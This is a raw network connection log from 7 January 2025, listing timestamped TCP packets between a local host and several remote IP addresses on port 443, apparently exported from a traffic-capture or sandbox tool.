Jan 7, 2025 15:18:28.461071014 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:28.461431026 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:28.461478949 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.461608887 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.461657047 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.461678028 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.461839914 CET	49739	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:28.461900949 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:28.461982965 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.462024927 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.462039948 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.462173939 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.462225914 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.462234020 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.462272882 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.462352037 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.462393999 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.462466955 CET	49739	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:28.462549925 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.462596893 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.462955952 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.463015079 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.463169098 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.463222027 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.463454962 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.463515043 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.463954926 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.464061975 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.464102983 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.464338064 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.464350939 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.464358091 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.464390993 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.464412928 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.464919090 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.464978933 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.465020895 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.465071917 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.465234041 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.465287924 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.465842009 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.465913057 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.492177963 CET	49738	443	192.168.2.16	142.250.185.68
Jan 7, 2025 15:18:28.507339001 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:28.515409946 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.515506029 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.561485052 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.561558008 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.561970949 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.562021017 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.562586069 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.562640905 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.562802076 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.562851906 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.562964916 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.563009977 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.563179970 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.563235044 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.563406944 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.563465118 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.563507080 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.563555002 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.563786983 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.563839912 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.564157963 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.564193964 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.564215899 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.564237118 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.564253092 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.564271927 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.564301968 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.564388037 CET	49737	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:28.564404011 CET	443	49737	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:28.567464113 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.567497969 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.567800045 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.567800045 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:28.567830086 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:28.989150047 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:28.989238977 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:28.989506960 CET	49739	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:28.999355078 CET	49739	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:28.999372005 CET	443	49739	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:29.005065918 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.005100012 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.005168915 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.005346060 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.005357027 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.023056030 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.023304939 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.023332119 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.023612022 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.023936987 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.023988008 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.025422096 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.050127029 CET	49680	80	192.168.2.16	192.229.211.108
Jan 7, 2025 15:18:29.066149950 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.066158056 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.120706081 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.120759010 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.120872021 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.121097088 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.121114016 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.171567917 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.171627045 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.172400951 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.172557116 CET	49740	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.172573090 CET	443	49740	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.482964039 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.483217955 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.483237028 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.484287024 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.484348059 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.485297918 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.485359907 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.485446930 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.529136896 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.529148102 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.573260069 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.573484898 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.573499918 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.573775053 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.574059963 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.574115038 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.574270964 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.577136040 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.611762047 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.611886978 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.612025976 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.612041950 CET	443	49741	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.612061977 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.612112999 CET	49741	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.612606049 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.612627983 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.612718105 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.612929106 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:29.612938881 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:29.615334988 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.706130981 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.706178904 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.706386089 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.706829071 CET	49742	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.706841946 CET	443	49742	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.709557056 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.709578991 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.709671021 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.709903002 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:29.709913969 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:29.881429911 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.881473064 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:29.881573915 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.881819010 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:29.881829977 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.093992949 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.094264030 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.094281912 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.094608068 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.094902039 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.094973087 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.095012903 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.135334015 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.150125980 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.179764986 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.180020094 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:30.180031061 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.180361032 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.180740118 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:30.180804968 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.180876970 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:30.227329016 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.228657007 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.228749037 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.228878975 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.228924036 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.228941917 CET	443	49743	35.190.80.1	192.168.2.16
Jan 7, 2025 15:18:30.228956938 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.229027033 CET	49743	443	192.168.2.16	35.190.80.1
Jan 7, 2025 15:18:30.325352907 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.325419903 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.325484991 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:30.326054096 CET	49744	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:30.326070070 CET	443	49744	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:30.351507902 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.351810932 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.351833105 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.352147102 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.352497101 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.352560997 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.352621078 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.399337053 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.472755909 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.472842932 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.472894907 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.472908974 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.472970009 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.473455906 CET	49745	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.473473072 CET	443	49745	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.686727047 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.686784029 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:30.686903954 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.687110901 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:30.687125921 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.307770967 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.311660051 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.311695099 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.312022924 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.315787077 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.315850973 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.315937042 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.316000938 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.316024065 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.319453001 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.319492102 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577255011 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577292919 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577327013 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577358007 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577358961 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.577380896 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577408075 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.577413082 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577455044 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.577461958 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577558041 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.577661037 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.577667952 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.578027010 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.578074932 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.578082085 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.619158983 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.619168997 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.666924953 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.666971922 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.666980028 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667017937 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667058945 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.667067051 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667615891 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667664051 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.667670965 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667700052 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667747021 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.667752981 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667831898 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.667898893 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.668009996 CET	49746	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:31.668028116 CET	443	49746	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:31.670742035 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:31.670779943 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:31.670862913 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:31.671077013 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:31.671093941 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.126401901 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.126761913 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:32.126791000 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.127079964 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.127386093 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:32.127445936 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.127522945 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:32.171336889 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.253339052 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.253385067 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:32.253528118 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:32.254046917 CET	49747	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:32.254062891 CET	443	49747	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:34.235285044 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.235327005 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.235415936 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.235647917 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.235661030 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.706546068 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.706841946 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.706864119 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.707179070 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.707498074 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.707554102 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.707650900 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.707725048 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.707882881 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.707988977 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.708019018 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.966020107 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.966073990 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.966124058 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.966129065 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.966149092 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.966181040 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.966227055 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.966294050 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.966294050 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.966677904 CET	49748	443	192.168.2.16	104.18.94.41
Jan 7, 2025 15:18:34.966690063 CET	443	49748	104.18.94.41	192.168.2.16
Jan 7, 2025 15:18:34.969161034 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:34.969189882 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:34.969271898 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:34.969476938 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:34.969489098 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.109183073 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.109196901 CET	443	49750	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:35.109278917 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.109549046 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.109560013 CET	443	49750	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:35.432898045 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.433254957 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:35.433264971 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.433542967 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.433835030 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:35.433887959 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.433968067 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:35.475328922 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.592900038 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.592947006 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.593009949 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:35.593647957 CET	49749	443	192.168.2.16	104.18.95.41
Jan 7, 2025 15:18:35.593657017 CET	443	49749	104.18.95.41	192.168.2.16
Jan 7, 2025 15:18:35.603075027 CET	443	49750	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:35.603317022 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.603324890 CET	443	49750	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:35.604337931 CET	443	49750	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:35.604408026 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.604672909 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.604684114 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.604732037 CET	443	49750	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:35.604741096 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.604788065 CET	49750	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.604964018 CET	49751	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.605010033 CET	443	49751	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:35.605087042 CET	49751	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.605258942 CET	49751	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:35.605276108 CET	443	49751	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:36.073772907 CET	443	49751	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:36.074059010 CET	49751	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:36.074088097 CET	443	49751	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:36.075056076 CET	443	49751	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:36.075133085 CET	49751	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:36.076492071 CET	49751	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:36.076551914 CET	443	49751	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:36.076668024 CET	49751	443	192.168.2.16	188.114.96.3
Jan 7, 2025 15:18:36.076674938 CET	443	49751	188.114.96.3	192.168.2.16
Jan 7, 2025 15:18:36.121243000 CET	49751	443	192.168.2.16	188.114.96.3
